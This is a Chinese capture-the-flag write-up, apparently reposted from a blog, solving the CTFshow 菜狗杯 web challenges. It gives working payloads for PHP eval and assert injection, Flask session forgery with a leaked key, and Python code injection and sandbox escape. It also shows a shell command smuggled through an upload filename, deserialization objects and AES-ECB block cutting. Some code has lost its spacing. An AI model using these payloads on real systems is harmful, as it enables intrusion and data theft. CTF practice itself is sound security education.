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CTFSHOW菜狗杯 web

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web签到

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

简单的解释下这个嵌套

加入cookie中传入

CTFshow-QQ群:=a

那么就会出现

$_POST['a']

,假如post传入的值为

a=b

,那么就会得到

$_GET['b']

,接着假如get传入

b=c

就会得到

$_REQUEST['c']


$_REQUEST

就get、post都可以接收啦。
加入再get传入

c=123

那么前面这一部分(

$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]]

)的值就是123了。
但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了

c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

请添加图片描述

web2 c0me_t0_s1gn

注释里面有一半flag
在这里插入图片描述
然后控制台运行

g1ve_flag()

得另一半flag
在这里插入图片描述

我的眼里只有$

又是群主出的题,不得不说群主老大出的题真的是花里胡哨😁

extract($_POST);eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);

可以看到就是个变量覆盖然后再无限套娃。
假设我们post传入

_=a

那么

$_=a

,如果在post传入

a=b

那么

$$_=b

以此类推传入一定数量的参数就可以了,最后一个的值是我们要传入eval的代码。
不过这

$

属实是有点多,还是写个脚本吧

import string
s = string.ascii_letters 
t='_=a&'
code="phpinfo();"for i inrange(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)

抽老婆

下载页面存在文件读取。
随便读个文件,报错页面可以看出是python flask写的了。
在这里插入图片描述
读下源码试试

file=../../app.py

有secret_key

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

后面还在session里面存在判断
在这里插入图片描述
session伪造没跑了,直接跑脚本

https://github.com/noraj/flask-session-cookie-manager

先解密下看看结构
在这里插入图片描述
伪造下这个参数应该就可以了

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'c1c437b721d6dcc27ccf4cb8412bd5b6.jpg', 'isadmin': True}"

在这里插入图片描述
然后拿着生成的session去访问

secret_path_U_never_know

即可拿到flag。

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

assert和eval差不多,里面可以执行php代码。那么闭合再注释就可以了。

?num=114514);//

驷马难追

增加了过滤没法闭合了,这也好办,我们可以运行加减乘除嘛。

?num=114514+1805296
加号需要编码下
?num=114514%2b1805296

TapTapTap

游戏题,直接找js代码。
看到可以的地方
在这里插入图片描述
直接base64解码得到

Your flag is in /secret_path_you_do_not_know/secretfile.txt

访问该地址得到flag。

Webshell

非常简单的反序列化

<?phpclassWebshell{public$cmd='cat /f*;cat f*';}echoserialize(newWebshell);?>

flag在源代码里面

化零为整

这道题也很有意思。
中文在php里面长度是3,其实很容易想到中文的url编码就是3个
比如

的url编码就是

%E5%A4%A7

所以这三个url编码字符拼接起来就是一个中文字符了
payload

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

传个数组就可以了

?0[]=

传说之下(雾)

同样是游戏题,需要我们分数到2077才可以。
来个暴力点的方法,在js代码中找到和分数相关的变量。
在这里插入图片描述

可以猜到就是每次吃到一个得一分,我们把这个1直接改成2078。(改成2077还得再吃一个)
先开始比赛后暂停,找到下面的位置,把分数改掉。
在这里插入图片描述
在这里插入图片描述

然后ctrl+s保存下。
再随便吃一个死掉就可以拿到flag了。
在这里插入图片描述
flag在控制台里面
在这里插入图片描述

算力超群

一般碰到计算器就很容易和命令执行扯到一块。
随便计算下然后抓个包
在这里插入图片描述

_calculate?number1=&operator=&number2=966

有这么几个参数(number1、operator、number2)
输点乱七八糟的字符就可以看到报错信息了
在这里插入图片描述
经过测试对number1和operator有些过滤,但是number2没有。
payload

_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

算力升级

这个题感觉质量还是不错的。
是个python的代码执行,但是有些过滤。
在这里插入图片描述
如果是字母数字下划线(\w)需要是gmpy2库里的。剩下的字符顺便输。
可以本地看下gmpy2
在这里插入图片描述
这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

比如我们想执行eval可以这样来

gmpy2.__builtins__['eval']('xxx')

而其中的

eval

可以通过

'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]

得到,其他的类似。
因为命令太长了,我也懒得弄,所以就通过

request.args['1']

获得。
最终payload

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')

GET:
tiesuanzi?1=__import__('os').popen("cat /flag").read()

等价于
`gmpy2.__builtins__['eval']('eval(request.args["1"])')`

2

关键代码就一句

subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

其中

cmd

半可控,

param

可控

__file__

是个固定值。
第一个参数作为命令,后面的都是该命令的参数
比如执行

`subprocess.run(['ls','/etc','/'])

就等价于

ls /etc /

会同时列出

/和/etc

下的文件及文件夹
cat也是如此。
有一点要注意,不要看到request.form.get就以为是get传参,其实是接收的post参数
payload

cmd=ls&param=.
cmd=cat&param=flag.txt

遍地飘零

考察变量覆盖,最终只有一个地方可以输入

var_dump($_GET);

所以我们就把要用的flag赋值给GET就好了

_GET=flag

茶歇区

这道题没搞懂咋回事,不过应该和溢出有关。
在这里插入图片描述
发送两次就可以了。
为啥不在a的位置,猜测可能是a单价是1,是没有进行乘法运算的。其他的也类似,不是1的应该都可以。

小舔田?

很入门的反序列化,直接上payload了。

<?phpclassMoon{public$name;}classIon_Fan_Princess{public$nickname="小甜甜";}$a=newMoon();$b=newIon_Fan_Princess();$a->name=$b;echoserialize($a);

LSB探姬

直接来看源码。
在这里插入图片描述
存在命令执行,并且cmd中有内容是可控的,是我们上传文件的文件名。
不过本地测试发现不出网,那么我们就把执行命令的结果写到静态文件里就好了。
需要注意的点就是传入的用户名中不能有

/

估计还有一些其他的字符。
所以还是用base64编码来执行把

import requests 
url="http://8516ca37-5457-4ae5-aae6-7800f08dc03f.challenge.ctf.show/"
files={"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")}#cat f*  > static/js/ansi_up.js
requests.post(url+'upload',files=files)

r2 = requests.get(url+'static/js/ansi_up.js')print(r2.text)

Is_Not_Obfuscate

很迷的一道题,全靠蒙。
在这里插入图片描述
通过源代码可以得知
1、存在robots.txt。
2、当action=test时会执行input的内容,不过经过了一个decode

访问下robots.txt,发现存在lib.php、plugins文件夹、还有一个flag参数
在这里插入图片描述
那很容易想到flag=1
在这里插入图片描述
内容如上。
刚才发现input传入的内容经过decode之后会进入eval,那么input的内容肯定是一段加密后的了。
这么看刚才出来的内容就像是需要的了。

input=类似于base64的东西&action=test

得到源码
在这里插入图片描述
存在一个代码执行的点和一个文件写入的点。
在这里插入图片描述
大概意思就是假如我们传入

output=phpinfo()&action=push

,则会生成一个文件,路径为

plugins/md5值

该md5值是可以本地计算得到了,就是我们代码后面拼接行youyou的md5。
内容是经过encode加密的。
然后如果在传入

action=pull&input=刚才生成的文件路径

就可以运行刚才的代码了。
payload

action=push&output=system('cat f*;cat /f*');
action=pull&input=41fbd06940c629af4cff4d809d386324     system('cat f*;cat /f*');youyou的md5 

龙珠NFT

感觉更多的像是密码学题。
简单的解释下源码各个路由的功能

/

提供注册功能,会将用户名的md5作为session存入。

radar

单纯的一个界面,什么用没有。

find_dragonball

如果是第一次访问,那么dragonball就是固定值1。
否则访问后产生一个随机数范围是1-1000
如果是在0-6之间,那么就把dragonball赋值为该数,否则就赋值为0。
并且每个用户都是只有十次机会。

get_dragonball

传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠。

flag

有1-7号的dragonball就拿到flag。

大致看下去基本是无解。
即使你想用暴力破解的方式。但是最大的问题是永远不可能获得数字7。
唯一可能有问题的地方就是加密方法了。
可以看到它使用的是AES中的ECB。
而ECB是分段加密的
在这里插入图片描述
明文按照16字节分成n块,通过加密器对每一块进行加密获得n个密文块。最后一块通常不够16字节需要按照一定的填充规则进行填充。
我们来看下要加密的内容

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}

按16个分组后的结果

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
"1", "round_no":
 "9", "time":"2
 022-10-19 15:06
 :45"}

也就是说我们如果是同一个用户的话,前四段加密的结果是一样的。我们希望的是dragonball后面的数字是可控的。
这时候就需要脑洞打开了。
如果我们把第五行删掉会出现什么情况呢

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
 "9", "time":"2
 022-10-19 15:06
 :45"}

经过json解析后其实可以得到dragonball为9,而这个次数我们是可以控制的。也就可以控制生成的龙珠数了。

import requests
import base64
import re
from urllib.parse import*

url ='http://ab901b43-8e6c-4049-b50c-d403a5db8524.challenge.ctf.show/'
sess = requests.Session()

sess.get(url+'?username=1')for i inrange(7):
    url1 = url +'find_dragonball'
    r1 = sess.get(url1)
    a = r1.json()["address"]
    b = base64.b64decode(a.encode()).hex()

    c = b[:128]+b[160:]

    d = quote(base64.b64encode(bytes.fromhex(c)).decode())

    url2 = url +f'get_dragonball?address={d}'
    r2 = sess.get(url2)print(r2.text)
r3  = sess.get(url+'flag')
flag = re.findall('ctfshow{.*?}',r3.text)[0]print(flag)
标签: python 前端 flask

本文转载自: https://blog.csdn.net/miuzzx/article/details/127830557
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